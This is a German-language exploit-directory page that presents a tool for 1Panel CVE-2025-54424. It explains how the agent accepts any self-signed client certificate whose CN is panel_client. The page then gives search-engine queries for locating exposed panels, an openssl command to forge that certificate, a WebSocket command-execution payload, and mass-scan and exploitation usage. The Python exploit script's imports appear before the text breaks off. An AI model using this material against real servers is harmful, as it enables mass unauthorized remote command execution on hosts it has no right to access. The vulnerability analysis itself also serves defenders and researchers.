Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
1Panel-CVE-2025-54424- — Exploit-Tool für 1Panel CVE-2025-54424, das Zertifikatsumgehung und Remote-Befehlsausführung über WebSocket ermöglicht, mit Batch-Scanning und interaktiver Shell. | Kitploit
Tools/GitHubGitHub/anonnymous5/1panel-cve-2025-54424-
SchwachstellenscannerExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRemote-Access-Tool
GitHubanonnymous5/1panel-cve-2025-54424-

1Panel-CVE-2025-54424-

Exploit-Tool für 1Panel CVE-2025-54424, das Zertifikatsumgehung und Remote-Befehlsausführung über WebSocket ermöglicht, mit Batch-Scanning und interaktiver Shell.

Repository anzeigen
13vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-54424

CVE-2025-54424: 1Panel RCE-Schwachstelle durch Umgehung des Client-Zertifikats – Integriertes Tool (Scan + Ausnutzung)

Schwachstellenbeschreibung

1Panel ist ein Open-Source, modernes Linux-Operations- und Verwaltungspanel, das eine grafische Oberfläche zur Bereitstellung von Websites, Serververwaltung und Ausführung von Diensten bietet.

In den betroffenen Versionen ist die TLS-Authentifizierungsstrategie der Agent-Seite auf tls.RequireAnyClientCert gesetzt, die nur ein Zertifikat verlangt, aber dessen Vertrauenswürdigkeit nicht überprüft. Ein Angreifer kann die TLS-Prüfung mit einem selbstsignierten Zertifikat umgehen, das CN-Feld auf panel_client fälschen und die Anwendungsebene umgehen. Schließlich kann der Angreifer ein gefälschtes Zertifikat verwenden, um nicht autorisierte Aufrufe der Befehlsausführung-Schnittstelle durchzuführen, was zu einer Schwachstelle für die Remote-Befehlsausführung führt.

Betroffene Versionen

<= v2.0.5

Erkennungssyntax

Die Erkennungsabfragen für Hunter und Fofa lauten wie folgt:

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Schwachstellenanalyse

Auszug aus der GitHub-Sicherheitswarnung

  • Zunächst werden die Konzepte des 1panel v2 Core-Endes und des Agent-Endes eingeführt. Mit der neuen Version hat 1panel die Funktion zur Knotenverwaltung hinzugefügt, mit der andere Hosts über das Hinzufügen von Knoten gesteuert werden können.
  • Das HTTPS-Protokoll, das für die Kommunikation zwischen Core- und Agent-Ende verwendet wird, überprüft die Authentizität des Zertifikats nicht vollständig, was zu einer nicht autorisierten Schnittstelle führt. Da 1panel viele Schnittstellen zur Befehlsausführung oder mit hohen Berechtigungen enthält, kommt es zur RCE.

Code-Audit-Prozess

  1. Zuerst gehen wir zur Agent-HTTP-Routing-Datei agent/init/router/router.go

  1. Es wird festgestellt, dass die Funktion Routers die Funktion Certificate für eine globale Überprüfung referenziert: agent/middleware/certificate.go

  2. Es wird festgestellt, dass die Funktion Certificate überprüft, ob c.Request.TLS.HandshakeComplete eine Zertifikatskommunikation durchgeführt hat.

  3. Die Wahr/Falsch-Prüfung von c.Request.TLS.HandshakeComplete wird durch tls.RequireAnyClientCert in der Funktion Start der Datei agent/server/server.go gesteuert. Hinweis: Da tls.RequireAnyClientCert und nicht tls.RequireAndVerifyClientCert verwendet wird, erfordert RequireAnyClientCert nur ein Client-Zertifikat, überprüft aber nicht die ausstellende CA. Daher kann jedes selbstsignierte Zertifikat den TLS-Handshake bestehen.

  4. Anschließend wird in der Funktion Certificate nur überprüft, ob das CN-Feld des Zertifikats panel_client lautet, nicht der Aussteller. Schließlich wird festgestellt, dass WebSocket-Verbindungen die Proxy-ID-Überprüfung umgehen können.

  5. Das Projekt enthält eine große Anzahl von Websocket-Schnittstellen.

  • Process WebSocket-Schnittstelle (ermöglicht den Zugriff auf alle Prozesse und andere sensible Informationen basierend auf dem obigen Problem) Routenadresse: /process/ws Anforderungsformat:
{
  "type": "ps",           // Datentyp: ps (Prozesse), ssh (SSH-Sitzungen), net (Netzwerkverbindungen), wget (Download-Fortschritt)
  "pid": 123,             // Optional, Filter nach Prozess-ID
  "name": "process_name", // Optional, Filter nach Prozessname
  "username": "user"      // Optional, Filter nach Benutzername
}

  • Terminal SSH WebSocket-Schnittstelle (ermöglicht die Ausführung beliebiger Befehle basierend auf dem obigen Problem) Routenadresse: /hosts/terminal Anforderungsformat:
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // Base64-Kodierung von "whoami", denken Sie daran, den Zeilenumbruch nicht zu vergessen.
}

  • Container Terminal WebSocket-Schnittstelle (Schnittstelle zur Ausführung von Befehlen im Container) Routenadresse: /containers/terminal
  • File Download Process WebSocket-Schnittstelle (automatische Übertragung von Download-Fortschrittsinformationen) Routenadresse: /files/wget/process

Schwachstellenreproduktion

Manuelle Reproduktion

  1. Zertifikat erstellen:

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Nachdem Sie die generierten panel_client.crt und panel_client.key in Burp geladen haben, öffnen Sie die WS-Anfrage, stellen Sie das Ziel ein und starten Sie die Anfrage.

Massenscan

Verwenden Sie das von mir entwickelte Skript CVE-2025-54424.py für den Massenscan und die Ausnutzung. Die Anleitung zum Tool lautet wie folgt:

Installieren Sie die erforderlichen Abhängigkeiten: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel RCE-Schwachstelle durch Umgehung des Client-Zertifikats – Integriertes Tool (Scan + Ausnutzung)
Autor: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Einzelnes Ziel, wechselt in den Ausnutzungsmodus. Beispiel: 192.168.1.100:8080
  -f FILE, --file FILE  Zieldatei, wechselt in den Massenscan-Modus.
  -o OUTPUT, --output OUTPUT
                        [Scan-Modus] Dateiname zum Speichern der Schwachstellenergebnisse.
  -t THREADS, --threads THREADS
                        [Scan-Modus] Anzahl gleichzeitiger Threads.
  --proxy PROXY         Proxy für alle Anfragen. Beispiel: http://127.0.0.1:8080

Zum Beispiel einzelner Scan + Befehlsausführung (interaktive SSH-Befehlsausführung) wie im folgenden Bild dargestellt:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
Tool herunterladen